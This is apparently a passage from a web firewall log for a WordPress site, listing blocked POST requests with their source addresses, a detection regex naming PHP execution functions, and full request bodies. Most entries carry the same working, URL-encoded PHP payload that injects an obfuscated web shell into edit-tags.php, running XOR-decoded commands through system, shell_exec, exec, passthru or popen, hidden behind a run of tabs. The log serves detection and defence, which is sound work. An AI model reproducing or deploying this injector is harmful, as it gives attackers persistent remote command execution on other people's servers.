Edge\";v=\"99\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\n\nRp=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tags.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data_storage3%2520%253D%2520%2522exec%2522%253B%2520%2524api_gateway%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bin%2522%253B%2520%2524data_storage5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524data_storage2%2520%253D%2520%2522s%255Cx68el%255Cx6C%255Cx5Fe%255Cx78e%255Cx63%2522%253B%2520%2524data_storage7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fs%255Cx65%2522%253B%2520%2524data_storage1%2520%253D%2520%2522s%255Cx79st%255Cx65%255Cx6D%2522%253B%2520%2524data_storage6%2520%253D%2520%2522str%255Cx65a%255Cx6D%255Cx5Fge%255Cx74_%255Cx63on%255Cx74en%255Cx74%255Cx73%2522%253B%2520%2524data_storage4%2520%253D%2520%2522%255Cx70a%255Cx73%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64%255Cx61t%255Cx61_%255Cx63hu%255Cx6Ek%2522%255D%2529%2529%2520%257B%2520function%2520secure_access%2520%2528%2520%2524pointer%2520%252C%2520%2524parameter_group%2520%2529%2520%257B%2520%2524desc%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520while%2528%2524e%253Cstrlen%2528%2524pointer%2529%2529%257B%2520%2524desc.%253Dchr%2528ord%2528%2524pointer%255B%2524e%255D%2529%255E%2524parameter_group%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520return%2520%2524desc%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524api_gateway%2528%2524_POST%255B%2522%255Cx64%255Cx61t%255Cx61_%255Cx63hu%255Cx6Ek%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520secure_access%2528%2524data_chunk%252C%252084%2529%253B%2520if%2520%2528function_exists%2528%2524data_storage1%2529%2529%2520%257B%2520%2524data_storage1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage2%2529%2529%2520%257B%2520print%2520%2524data_storage2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage3%2529%2529%2520%257B%2520%2524data_storage3%2528%2524data_chunk%252C%2520%2524record_pointer%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524record_pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage4%2529%2529%2520%257B%2520%2524data_storage4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage5%2529%2520%2526%2526%2520function_exists%2528%2524data_storage6%2529%2520%2526%2526%2520function_exists%2528%2524data_storage7%2529%2529%2520%257B%2520%2524parameter_group_desc%2520%253D%2520%2524data_storage5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524parameter_group_desc%2529%2520%257B%2520%2524obj_k%2520%253D%2520%2524data_storage6%2528%2524parameter_group_desc%2529%253B%2520%2524data_storage7%2528%2524parameter_group_desc%2529%253B%2520print%2520%2524obj_k%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:55:40","91.142.222.105","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> cU:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tags.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data_storage3%2520%253D%2520%2522exec%2522%253B%2520%2524api_gateway%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bin%2522%253B%2520%2524data_storage5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524data_storage2%2520%253D%2520%2522s%255Cx68el%255Cx6C%255Cx5Fe%255Cx78e%255Cx63%2522%253B%2520%2524data_storage7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fs%255Cx65%2522%253B%2520%2524data_storage1%2520%253D%2520%2522s%255Cx79st%255Cx65%255Cx6D%2522%253B%2520%2524data_storage6%2520%253D%2520%2522str%255Cx65a%255Cx6D%255Cx5Fge%255Cx74_%255Cx63on%255Cx74en%255Cx74%255Cx73%2522%253B%2520%2524data_storage4%2520%253D%2520%2522%255Cx70a%255Cx73%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64%255Cx61t%255Cx61_%255Cx63hu%255Cx6Ek%2522%255D%2529%2529%2520%257B%2520function%2520secure_access%2520%2528%2520%2524pointer%2520%252C%2520%2524parameter_group%2520%2529%2520%257B%2520%2524desc%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520while%2528%2524e%253Cstrlen%2528%2524pointer%2529%2529%257B%2520%2524desc.%253Dchr%2528ord%2528%2524pointer%255B%2524e%255D%2529%255E%2524parameter_group%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520return%2520%2524desc%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524api_gateway%2528%2524_POST%255B%2522%255Cx64%255Cx61t%255Cx61_%255Cx63hu%255Cx6Ek%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520secure_access%2528%2524data_chunk%252C%252084%2529%253B%2520if%2520%2528function_exists%2528%2524data_storage1%2529%2529%2520%257B%2520%2524data_storage1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage2%2529%2529%2520%257B%2520print%2520%2524data_storage2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage3%2529%2529%2520%257B%2520%2524data_storage3%2528%2524data_chunk%252C%2520%2524record_pointer%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524record_pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage4%2529%2529%2520%257B%2520%2524data_storage4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage5%2529%2520%2526%2526%2520function_exists%2528%2524data_storage6%2529%2520%2526%2526%2520function_exists%2528%2524data_storage7%2529%2529%2520%257B%2520%2524parameter_group_desc%2520%253D%2520%2524data_storage5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524parameter_group_desc%2529%2520%257B%2520%2524obj_k%2520%253D%2520%2524data_storage6%2528%2524parameter_group_desc%2529%253B%2520%2524data_storage7%2528%2524parameter_group_desc%2529%253B%2520print%2520%2524obj_k%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:5398\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvL1HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"macOS\"\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\n\ncU=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tags.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data_storage3%2520%253D%2520%2522exec%2522%253B%2520%2524api_gateway%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bin%2522%253B%2520%2524data_storage5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524data_storage2%2520%253D%2520%2522s%255Cx68el%255Cx6C%255Cx5Fe%255Cx78e%255Cx63%2522%253B%2520%2524data_storage7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fs%255Cx65%2522%253B%2520%2524data_storage1%2520%253D%2520%2522s%255Cx79st%255Cx65%255Cx6D%2522%253B%2520%2524data_storage6%2520%253D%2520%2522str%255Cx65a%255Cx6D%255Cx5Fge%255Cx74_%255Cx63on%255Cx74en%255Cx74%255Cx73%2522%253B%2520%2524data_storage4%2520%253D%2520%2522%255Cx70a%255Cx73%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64%255Cx61t%255Cx61_%255Cx63hu%255Cx6Ek%2522%255D%2529%2529%2520%257B%2520function%2520secure_access%2520%2528%2520%2524pointer%2520%252C%2520%2524parameter_group%2520%2529%2520%257B%2520%2524desc%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520while%2528%2524e%253Cstrlen%2528%2524pointer%2529%2529%257B%2520%2524desc.%253Dchr%2528ord%2528%2524pointer%255B%2524e%255D%2529%255E%2524parameter_group%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520return%2520%2524desc%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524api_gateway%2528%2524_POST%255B%2522%255Cx64%255Cx61t%255Cx61_%255Cx63hu%255Cx6Ek%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520secure_access%2528%2524data_chunk%252C%252084%2529%253B%2520if%2520%2528function_exists%2528%2524data_storage1%2529%2529%2520%257B%2520%2524data_storage1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage2%2529%2529%2520%257B%2520print%2520%2524data_storage2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage3%2529%2529%2520%257B%2520%2524data_storage3%2528%2524data_chunk%252C%2520%2524record_pointer%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524record_pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage4%2529%2529%2520%257B%2520%2524data_storage4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage5%2529%2520%2526%2526%2520function_exists%2528%2524data_storage6%2529%2520%2526%2526%2520function_exists%2528%2524data_storage7%2529%2529%2520%257B%2520%2524parameter_group_desc%2520%253D%2520%2524data_storage5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524parameter_group_desc%2529%2520%257B%2520%2524obj_k%2520%253D%2520%2524data_storage6%2528%2524parameter_group_desc%2529%253B%2520%2524data_storage7%2528%2524parameter_group_desc%2529%253B%2520print%2520%2524obj_k%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:55:48","185.176.9.68","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> tg:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tags.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data_storage3%2520%253D%2520%2522exec%2522%253B%2520%2524api_gateway%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bin%2522%253B%2520%2524data_storage5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524data_storage2%2520%253D%2520%2522s%255Cx68el%255Cx6C%255Cx5Fe%255Cx78e%255Cx63%2522%253B%2520%2524data_storage7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fs%255Cx65%2522%253B%2520%2524data_storage1%2520%253D%2520%2522s%255Cx79st%255Cx65%255Cx6D%2522%253B%2520%2524data_storage6%2520%253D%2520%2522str%255Cx65a%255Cx6D%255Cx5Fge%255Cx74_%255Cx63on%255Cx74en%255Cx74%255Cx73%2522%253B%2520%2524data_storage4%2520%253D%2520%2522%255Cx70a%255Cx73%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64%255Cx61t%255Cx61_%255Cx63hu%255Cx6Ek%2522%255D%2529%2529%2520%257B%2520function%2520secure_access%2520%2528%2520%2524pointer%2520%252C%2520%2524parameter_group%2520%2529%2520%257B%2520%2524desc%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520while%2528%2524e%253Cstrlen%2528%2524pointer%2529%2529%257B%2520%2524desc.%253Dchr%2528ord%2528%2524pointer%255B%2524e%255D%2529%255E%2524parameter_group%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520return%2520%2524desc%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524api_gateway%2528%2524_POST%255B%2522%255Cx64%255Cx61t%255Cx61_%255Cx63hu%255Cx6Ek%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520secure_access%2528%2524data_chunk%252C%252084%2529%253B%2520if%2520%2528function_exists%2528%2524data_storage1%2529%2529%2520%257B%2520%2524data_storage1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage2%2529%2529%2520%257B%2520print%2520%2524data_storage2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage3%2529%2529%2520%257B%2520%2524data_storage3%2528%2524data_chunk%252C%2520%2524record_pointer%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524record_pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage4%2529%2529%2520%257B%2520%2524data_storage4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage5%2529%2520%2526%2526%2520function_exists%2528%2524data_storage6%2529%2520%2526%2526%2520function_exists%2528%2524data_storage7%2529%2529%2520%257B%2520%2524parameter_group_desc%2520%253D%2520%2524data_storage5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524parameter_group_desc%2529%2520%257B%2520%2524obj_k%2520%253D%2520%2524data_storage6%2528%2524parameter_group_desc%2529%253B%2520%2524data_storage7%2528%2524parameter_group_desc%2529%253B%2520print%2520%2524obj_k%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:5398\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqTpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\n\ntg=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tags.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data_storage3%2520%253D%2520%2522exec%2522%253B%2520%2524api_gateway%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bin%2522%253B%2520%2524data_storage5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524data_storage2%2520%253D%2520%2522s%255Cx68el%255Cx6C%255Cx5Fe%255Cx78e%255Cx63%2522%253B%2520%2524data_storage7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fs%255Cx65%2522%253B%2520%2524data_storage1%2520%253D%2520%2522s%255Cx79st%255Cx65%255Cx6D%2522%253B%2520%2524data_storage6%2520%253D%2520%2522str%255Cx65a%255Cx6D%255Cx5Fge%255Cx74_%255Cx63on%255Cx74en%255Cx74%255Cx73%2522%253B%2520%2524data_storage4%2520%253D%2520%2522%255Cx70a%255Cx73%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64%255Cx61t%255Cx61_%255Cx63hu%255Cx6Ek%2522%255D%2529%2529%2520%257B%2520function%2520secure_access%2520%2528%2520%2524pointer%2520%252C%2520%2524parameter_group%2520%2529%2520%257B%2520%2524desc%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520while%2528%2524e%253Cstrlen%2528%2524pointer%2529%2529%257B%2520%2524desc.%253Dchr%2528ord%2528%2524pointer%255B%2524e%255D%2529%255E%2524parameter_group%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520return%2520%2524desc%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524api_gateway%2528%2524_POST%255B%2522%255Cx64%255Cx61t%255Cx61_%255Cx63hu%255Cx6Ek%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520secure_access%2528%2524data_chunk%252C%252084%2529%253B%2520if%2520%2528function_exists%2528%2524data_storage1%2529%2529%2520%257B%2520%2524data_storage1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage2%2529%2529%2520%257B%2520print%2520%2524data_storage2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage3%2529%2529%2520%257B%2520%2524data_storage3%2528%2524data_chunk%252C%2520%2524record_pointer%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524record_pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage4%2529%2529%2520%257B%2520%2524data_storage4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage5%2529%2520%2526%2526%2520function_exists%2528%2524data_storage6%2529%2520%2526%2526%2520function_exists%2528%2524data_storage7%2529%2529%2520%257B%2520%2524parameter_group_desc%2520%253D%2520%2524data_storage5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524parameter_group_desc%2529%2520%257B%2520%2524obj_k%2520%253D%2520%2524data_storage6%2528%2524parameter_group_desc%2529%253B%2520%2524data_storage7%2528%2524parameter_group_desc%2529%253B%2520print%2520%2524obj_k%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:56:24","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tags.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data_storage3%2520%253D%2520%2522exec%2522%253B%2520%2524api_gateway%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bin%2522%253B%2520%2524data_storage5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524data_storage2%2520%253D%2520%2522s%255Cx68el%255Cx6C%255Cx5Fe%255Cx78e%255Cx63%2522%253B%2520%2524data_storage7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fs%255Cx65%2522%253B%2520%2524data_storage1%2520%253D%2520%2522s%255Cx79st%255Cx65%255Cx6D%2522%253B%2520%2524data_storage6%2520%253D%2520%2522str%255Cx65a%255Cx6D%255Cx5Fge%255Cx74_%255Cx63on%255Cx74en%255Cx74%255Cx73%2522%253B%2520%2524data_storage4%2520%253D%2520%2522%255Cx70a%255Cx73%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2